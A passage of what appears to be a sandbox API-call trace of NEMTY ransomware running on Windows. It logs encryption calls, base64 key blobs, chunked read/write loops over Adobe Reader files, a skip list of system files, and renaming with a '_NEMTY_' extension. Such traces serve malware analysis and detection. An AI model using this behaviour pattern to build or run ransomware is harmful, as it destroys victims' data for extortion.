CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0209.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0209.304] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="ZYfsmo0MW+YhdkakTjgDDqp8zzZZCNN49pLlhW/Tv1Ke8Bh6gTF6QQTkYJwbX7It\r\nBTa00avnxO6qXl8KYCvKPXjbNRnp9m5pZzL8sgDk/H+qiWxmyeV8CNMWOyQ6QVHY\r\nZpKyP2YyNg9DjRtkNaN6fCN/7oKJE4QlNeq9l9ZiUXzcXxmiq+ZkBPNwAIb6Etq+\r\nuwB9/rq4+xqg68+jOafjWtkLJtuh7KW/mCxggkgGsYDHGAxc5wBaZlxi39h5tBk7\r\nQdCEmnv8glHAUmBoM70EuD9RfayPyay4YkEEWd4zO0s8oe8TgRRqz6UaG1ZQv6Ax\r\nhgPPbFWu7LFU6hNzR0xKqQ==\r\n", pcchString=0x653e91c) returned 1 [0209.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0209.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0209.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0209.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0209.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0209.304] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.304] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0209.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0209.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.343] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.343] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.400] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.400] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.406] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.406] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.412] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.412] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0209.412] CloseHandle (hObject=0xffffffff) returned 0 [0209.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0209.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0209.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0209.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0209.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0209.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0209.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.413] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-h._nemty_kgobjgd_")) returned 0 [0209.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0209.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0209.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0209.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0209.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0209.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0209.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0209.413] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-HW-V", cAlternateFileName="KSCMS-~3")) returned 1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2=".") returned 1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="..") returned 1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="...") returned 1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="windows") returned -1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="$RECYCLE.BIN") returned 1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="rsa") returned -1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="NTDETECT.COM") returned -1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="ntldr") returned -1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="MSDOS.SYS") returned -1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="IO.SYS") returned 1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="boot.ini") returned 1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="boot.ini") returned 1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="AUTOEXEC.BAT") returned 1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="ntuser.dat") returned -1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="desktop.ini") returned 1 [0209.413] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="CONFIG.SYS") returned 1 [0209.414] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="RECYCLER") returned -1 [0209.414] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="BOOTSECT.BAK") returned 1 [0209.414] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="bootmgr") returned 1 [0209.414] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="programdata") returned -1 [0209.414] lstrcmpiW (lpString1="KSCms-UHC-HW-V", lpString2="appdata") returned 1 [0209.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-V", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-V", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-HW-V", lpUsedDefaultChar=0x0) returned 14 [0209.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-V", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-V", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-HW-V", lpUsedDefaultChar=0x0) returned 14 [0209.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-V", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-V", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-HW-V", lpUsedDefaultChar=0x0) returned 14 [0209.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-V", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-V", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-HW-V", lpUsedDefaultChar=0x0) returned 14 [0209.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0209.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0209.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0209.414] Sleep (dwMilliseconds=0x5) [0209.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30775eb0, dwHighDateTime=0x1d561e8)) [0209.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30775eb0, dwHighDateTime=0x1d561e8)) [0209.428] GetLastError () returned 0x5 [0209.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0209.428] GetLastError () returned 0x5 [0209.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0209.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.428] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0209.428] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0209.428] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0209.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0209.428] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="YgLH0eqy5JhnAu00ckiSCqWYFV9Zfe05vdSw0oT4zIlYrQfJ0j4WCZedSYJl7LO6\r\n2/gFOWHOZWGV2m2i+1DT69RcH9a0IdsEy/MeHVGFxVtrYXzlE+KoRbnO8MoIoaTE\r\nd9xCadkqoMfN+ayMXrC+G8WYYAn/poSDSxtZYx5vytT/bKqOhpKZkROJgFM/Z/Wy\r\nIjojJCsN0QS6rIFfycoBMlXRSPacpwWR+/R+WifsdJB6qJfaA5fyKWO3XWUoFVJa\r\n6m9OajhbN9bzZb0ne0G4rZSiJGfF8s2QAiPwdec8aFK8AyXLUEYdCqlVd6yZxhJb\r\nqcrHjZhYhvKcSP7LRkNHFg==\r\n", pcchString=0x653e91c) returned 1 [0209.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0209.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0209.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0209.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0209.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0209.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.429] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0209.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0209.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 